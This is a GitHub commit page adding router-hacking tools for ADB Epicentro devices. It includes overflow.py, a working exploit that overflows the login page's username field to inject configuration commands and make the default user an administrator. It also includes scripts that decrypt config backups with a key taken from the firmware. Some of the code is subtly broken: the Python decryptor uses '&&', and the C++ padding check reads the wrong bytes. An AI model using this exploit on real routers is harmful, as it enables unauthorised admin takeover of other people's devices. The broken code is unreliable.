Skip to content

Commit

Permalink
Initial commit
Browse files Browse the repository at this point in the history
  • Loading branch information
Yepoleb committed Aug 14, 2017
0 parents commit ad8415d
Show file tree
Hide file tree
Showing 7 changed files with 337 additions and 0 deletions.
21 changes: 21 additions & 0 deletions LICENSE
@@ -0,0 +1,21 @@
MIT License

Copyright (c) 2017 Gabriel Huber

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
47 changes: 47 additions & 0 deletions README.md
@@ -0,0 +1,47 @@
# ADB Tools

Tools for hacking ADB Epicentro routers. Python dependencies can be installed
using `pip3 install -r requirements.txt`. No Python 2 support. Do not replicate
any of the cryptographic practices shown here as they are all completely
braindead unless marked otherwise.

## overflow.py

Uses a buffer overflow in the login page to make the default user admin. Takes
the login page as an argument. Credit to Alain Mowat (@plopz0r) for the
exploit. Was patched in October 2015.

Example:

python3 overflow.py 'http://10.0.0.138/ui/login'

## pkcrypt

Tool used for encrypting the config backups from the webinterface. Uses an RSA
public key for AES encryption. Sounds really stupid at first, but gets even
worse when you look at how they implemented it. Has a Python and C++ version
that both do exactly the same. Only works with configs created with version
E_3.4.0 or later (May 2017) as older ones tried to use asymmetric encryption
without a private key, which makes the configs impossible to decrypt, even for
the devices themselves. Key can be found at `/etc/certs/download.pem` in the
firmware image.

Example:

python3 pkcrypt.py sym_decrypt download.pem config.bin config.xml

Compiling the C++ version (not necessary if you use the Python version):

g++ pkcrypt.cpp -lcryptopp -o pkcrypt

## YAPL file structure

Yapl files are used as the CGI templates. This is just documentation that I
didn't know where else to put.

0x00 - 0x03: Header "Yapl"
0x04 - 0x07: Padding
0x08 - 0x0B: Number of strings
0x0C - 0x0F: Padding
0x10 - ....: Zero separated strings
.... - ....: Instructions that somehow reference the strings
8 changes: 8 additions & 0 deletions download.pem
@@ -0,0 +1,8 @@
-----BEGIN RSA PUBLIC KEY-----
MIIBCgKCAQEAshKBazc3QjWgbXNEqViXTJ8u1HZJVvnR2WxKjVR9g0bKvbgewjEg
H3L1rIUden+FEKf0Mv2cxLBOp5EFpT+bh2xOqPOWpF1q151d4uFtCL51V7PQOq9B
Z1pKxDBYHMhIsRhdDKqhMoSf0r8jgGPT/swU0+oab/HxECZjDoWmCfvkyKVGqUjx
tfl59otoVChtndJQfU4ccbCu6hjAW4tThOPXppKSNTtMr8ep0e4SKyHEQ74vUQHz
qp3oaqgdm8nbGyhMfum9fGj0b5jD2bFmJ4GScVqVqqFWrC35pvniNy0DLec0u13C
c4JG/CnBosN25GZIUJAk5MqTp8m/nK+rNQIDAQAB
-----END RSA PUBLIC KEY-----
89 changes: 89 additions & 0 deletions overflow.py
@@ -0,0 +1,89 @@
#!/usr/bin/env python3

import hmac
import sys

import requests # requires requests
import passlib.hash # requires passlib
from bs4 import BeautifulSoup # requires beautifulsoup4



def do_login(session, login_url, username, password):
"""
Logs into an ADB Epicentro webinterface. May need some modification to
make it work with your model. Tested with A1 firmware E_3.0.11.
"""
# Request the login page to get the nonce and code1-7
login_page = session.get(login_url).text
soup = BeautifulSoup(login_page, "html.parser")

params = {
"userName": username,
"login": "Login",
"language": "DE"
}

pwd_enc = password.encode("utf-8")

nonce = soup.find("input", attrs={"name": "nonce"})["value"]
nonce_enc = nonce.encode("ascii")
params["nonce"] = nonce

# Generate the password hmac. The only sane use of crypto in this entire
# file.
userpwd_hmac = hmac.new(key=nonce_enc, msg=pwd_enc, digestmod="sha256")
params["userPwd"] = userpwd_hmac.hexdigest()

# What's the point of all of this?
for code_num in range(1, 8):
code_name = "code{}".format(code_num)
code_val = soup.find("input", attrs={"name": code_name})["value"]
# Codes can be longer than 8 characters, but the hash function does not
# support them. This is an implementation bug in the webinterface.
salt = code_val[:8]
md5_crypt = passlib.hash.md5_crypt.using(salt=salt)
pwd_md5 = md5_crypt.hash(pwd_enc).encode("ascii")
code_hmac = hmac.new(key=nonce_enc, msg=pwd_md5, digestmod="sha256")
code_digest = code_hmac.hexdigest()
params[code_name] = code_digest

resp = session.post(login_url, data=params, allow_redirects=False)
return resp

def inject(login_url, command):
"""
Inject cmclient command using login page. Doesn't tell if it succeeded.
Exploit discovered by Alain Mowat (@plopz0r) and shown in a talk titled
"Reverse engineering Swisscom's Centro Grande modems".
Slides: https://download.scrt.ch/cybsec16/chlam2308161-1_cybsec_swisscom.pdf
"""
session = requests.Session()
username = 16006 * 'a' + command + '\n'
password = ""
resp = do_login(session, login_url, username, password)
resp.raise_for_status()

def to_admin(login_url):
"""
Makes the default account admin.
"""
inject(login_url, "SET Users.User.1.X_ADB_Role AdminUser")
inject(login_url, "SET Users.User.1.X_ADB_CLIAccessCapable true")

def to_normal(login_url):
"""
Makes the default account a regular user.
"""
inject(login_url, "SET Users.User.1.X_ADB_Role NormalUser")
inject(login_url, "SET Users.User.1.X_ADB_CLIAccessCapable false")

if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: {} <login url>")
print("Example: {} 'http://10.0.0.138/ui/login'")
exit(1)

login_url = sys.argv[1]
to_admin(login_url)
116 changes: 116 additions & 0 deletions pkcrypt.cpp
@@ -0,0 +1,116 @@
#include <iostream>
#include <fstream>
#include <string>
#include <vector>
#include <cstddef>

// Link with cryptopp
#include "cryptopp/aes.h"
#include "cryptopp/modes.h"


const int BLOCKSIZE = CryptoPP::AES::BLOCKSIZE;
// All zero IV
const byte IV[BLOCKSIZE] = {0x00};

int read_file(const std::string& filename, std::vector<char>& data)
{
std::ifstream stream(filename, std::ios::in | std::ios::binary | std::ios::ate);
if (!stream.is_open()) {
return 1;
}
std::size_t file_size(stream.tellg());
stream.seekg(0);
data.resize(file_size);
stream.read(data.data(), file_size);
return 0;
}

int write_file(const std::string& filename, const std::vector<char>& data)
{
std::ofstream stream(filename, std::ios::out | std::ios::binary);
if (!stream.is_open()) {
return 1;
}
stream.write(data.data(), data.size());
return 0;
}

int main(int argc, char **argv)
{
if (argc < 5) {
std::cerr << "Usage: pkcrypt sym_encrypt|sym_decrypt <key> <in> <out>\n";
return 1;
}

std::string mode(argv[1]);
if ((mode != "sym_encrypt") && (mode != "sym_decrypt")) {
std::cerr << "Error: First argument must be sym_encrypt or sym_decrypt.\n";
return 1;
}

const char* key_filename(argv[2]);
const char* in_filename(argv[3]);
const char* out_filename(argv[4]);

std::vector<char> pem_data;
if (read_file(key_filename, pem_data)) {
std::cerr << "Error: Failed to read key file\n";
return 1;
}
if (pem_data.empty()) {
std::cerr << "Error: PEM file is empty\n";
return 1;
}

std::vector<char> in_data;
if (read_file(in_filename, in_data)) {
std::cerr << "Error: Failed to read input file\n";
return 1;
}
if (in_data.empty()) {
std::cerr << "Error: Input file is empty\n";
return 1;
}

std::vector<char> out_data(in_data.size());

const char* key = pem_data.data() + 32;

if (mode == "sym_encrypt") {
char padding_length = BLOCKSIZE - (in_data.size() % BLOCKSIZE);
if (padding_length != BLOCKSIZE) {
in_data.resize(in_data.size() + padding_length, padding_length);
}
CryptoPP::CBC_Mode<CryptoPP::AES>::Encryption cipher;
cipher.SetKeyWithIV((const byte*)key, 16, IV);
cipher.ProcessData(
(byte*)out_data.data(), (const byte*)in_data.data(), in_data.size()
);
} else {
CryptoPP::CBC_Mode<CryptoPP::AES>::Decryption cipher;
cipher.SetKeyWithIV((const byte*)key, 16, IV);
cipher.ProcessData(
(byte*)out_data.data(), (const byte*)in_data.data(), in_data.size()
);
char padding_length = out_data.back();
if ((padding_length < BLOCKSIZE) && (padding_length < out_data.size())) {
bool padding_valid = true;
for (int i = 0; i < padding_length; i++) {
if (out_data[i] != padding_length) {
padding_valid = false;
break;
}
}
if (padding_valid) {
out_data.resize(out_data.size() - padding_length);
}
}
}

if (write_file(out_filename, out_data)) {
std::cerr << "Error: Failed to write output file\n";
return 1;
}
return 0;
}
52 changes: 52 additions & 0 deletions pkcrypt.py
@@ -0,0 +1,52 @@
#!/usr/bin/env python3

import sys
from Crypto.Cipher import AES # requires pycrypto

if len(sys.argv) < 5:
print("Usage: pkcrypt.py sym_encrypt|sym_decrypt <key> <in> <out>")
exit(1)

task = sys.argv[1]
if task not in ("sym_encrypt", "sym_decrypt"):
print("Error: First argument must be sym_encrypt or sym_decrypt.")
exit(1)

key_filename = sys.argv[2]
in_filename = sys.argv[3]
out_filename = sys.argv[4]

with open(key_filename, "rb") as f:
pem_data = f.read()
with open(in_filename, "rb") as f:
data_in = f.read()

# Going for the popular choice...
IV = b"\x00" * AES.block_size

# Just take a random chunk out of the file and use it as our key
key = pem_data[0x20:0x30]
cipher = AES.new(key, AES.MODE_CBC, IV)

if task == "sym_encrypt":
padding_length = AES.block_size - (len(data_in) % AES.block_size)
if padding_length != AES.block_size:
padding_byte = padding_length.to_bytes(1, "big")
data_in += padding_byte * padding_length
data_out = cipher.encrypt(data_in)
elif task == "sym_decrypt":
data_out = cipher.decrypt(data_in)
# Padding is a badly implemented PKCS#7 where 16 bytes padding is ignored,
# so we have to check all previous bytes to see if it is valid.
padding_length = data_out[-1]
if (padding_length < AES.block_size) && (padding_length < len(data_out)):
for i in range(0, padding_length):
if data_out[-1 - i] != padding_length:
break
else:
data_out = data_out[:-padding_length]
else:
raise NotImplementedError("Operation not supported")

with open(out_filename, "wb") as f:
f.write(data_out)
4 changes: 4 additions & 0 deletions requirements.txt
@@ -0,0 +1,4 @@
pycrypto
requests
passlib
beautifulsoup4

0 comments on commit ad8415d

Please sign in to comment.